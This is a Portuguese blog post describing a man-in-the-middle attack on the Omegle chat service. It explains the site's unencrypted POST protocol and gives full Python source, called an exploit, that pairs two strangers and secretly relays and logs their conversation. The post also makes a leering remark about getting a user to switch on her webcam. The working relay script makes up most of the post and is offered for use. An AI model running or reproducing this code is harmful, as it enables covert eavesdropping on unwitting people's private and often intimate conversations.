Assinatura RSS

Arquivo da tag: Man-in-Middle

Omegle Man-in-Middle ataque

Publicado em

Todos conhecem o site Omegle!
Um mensageiro online, onde diversas pessoas de varios paises podem se comunicar através de uma escolha aleatória do servidor, onde a maioria dos usuários estão atraz de sexo explicito e selvagem!
Nesse post irei ilustrar como realizar uma técnica de man-in-middle capturando conversars que estão sendo realizadas neste momento. 😉

Vamos analizar uma simples conversa usando um sniffer qualquer

O que podemos notar?
O Omegle é desprovido de qualquer tipo de criptografia e
que usa o método POST para comunicação.

Exemplo ilustrativo da comunicação:

You: POST omegle.com/start
Omg: HTTP "123456" <-- 6 caracteres aleatórios p/ o 'username' (a-z A-Z 0-9 _ -)
You: POST omegle.com/events?id=123456
Omg: HTTP [["connected"]]
You: POST omegle.com/send?msg=hello&id=123456
Omg: HTTP win <-- Bom!
You: POST omegle.com/events?id=123456
Omg: HTTP [["gotMessage", "hey"]] <-- Menssagem
You: POST omegle.com/disconnect?id=123456 <-- saiu do chat

Como realizar o ataque?
ScreenShoot:

Hummm… Será se eu adicionar ela, ela vai ligar a webcan pra mim? *-*

Source do exploit:

from httplib import *
from urllib import *
from threading import *
from Queue import *
from time import *

headers = {“Content-type”: “application/x-www-form-urlencoded; charset=utf-8”, “Accept”: “application/json”}

class Send_Thread( Thread ):

def __init__(self, user, que):
Thread.__init__(self)

self.que = que

self.con = HTTPConnection(“omegle.com:80”)
self.user = user

def run ( self ):

done = False

while done == False:

#print “————————————-”

try:

#print “Checking Que”
packet = self.que.get()

#print packet

if packet[0] == “message”:

params = urlencode({‘msg’:packet[1], ‘id’:self.user})
self.con.request(“POST”, “/send”, params, headers)
response = self.con.getresponse().read()

elif packet[0] == “typing”:

params = urlencode({‘id’:self.user})
self.con.request(“POST”, “/typing”, params, headers)
response = self.con.getresponse().read()

elif packet[0] == “disconnect”:

params = urlencode({‘id’:self.user})
self.con.request(“POST”, “/disconnect”, params, headers)
response = self.con.getresponse().read()

done = True

self.que.task_done()

#print self.user + ” – SENT – ” + message

except:

#print “QUE ERROR”
pass

class Recv_Thread( Thread ):

def __init__(self, user, que, color):
Thread.__init__(self)

self.que = que
self.user = user
self.con = HTTPConnection(“omegle.com:80”)
self.params = urlencode({‘id’:user})
self.color = color

def run ( self ):

self.user = self.color + self.user

done = False
while done == False:

#print “————————————-”

self.con.request(“POST”, “/events”, self.params, headers)

chat = self.con.getresponse().read()

#print chat

if chat == “null”: # null only recieved if stanger left
chat = “[[‘strangerDisconnected’]]” # format so it falls through tree

if chat == “[]”: # weird response from omegle
chat = “[[”]]” # format it so it falls through switch

chat = eval(chat)[0]

if chat[0] == “connected”:

print self.user + ” – CONNECTED”

elif chat[0] == “waiting”:

print self.user + ” – WAITING”

elif chat[0] == “gotMessage”:

self.que.put([“message”, chat[1]])

print “————————————-”
print self.user + ” – ” + chat[1]

elif chat[0] == “typing”:

self.que.put([“typing”, ”])
#print self.user + ” – TYPING”

elif chat[0] == “stoppedTyping”:

pass # todo: que stopped typing
#print self.user + ” – STOPPED TYPING”

elif chat[0] == “strangerDisconnected”:

self.que.put([“disconnect”, ”])
print self.user + ” – DISCONNECTED”
done = True

else:

print self.user + ” – ERROR”
print chat

con_one = HTTPConnection(“omegle.com:80”)
con_two = HTTPConnection(“omegle.com:80”)

con_one.request(“POST”, “/start”, 0, headers)
con_two.request(“POST”, “/start”, 0, headers)

id_one = eval(con_one.getresponse().read())
id_two = eval(con_two.getresponse().read())

print “One: ” + id_one
print “Two: ” + id_two

q_one = Queue()
q_two = Queue()

Recv_Thread(id_one, q_one, “33[0;34m”).start()
Recv_Thread(id_two, q_two, “33[0;31m”).start()

Send_Thread(id_one, q_two).start()
Send_Thread(id_two, q_one).start()

Até a próxima! ;*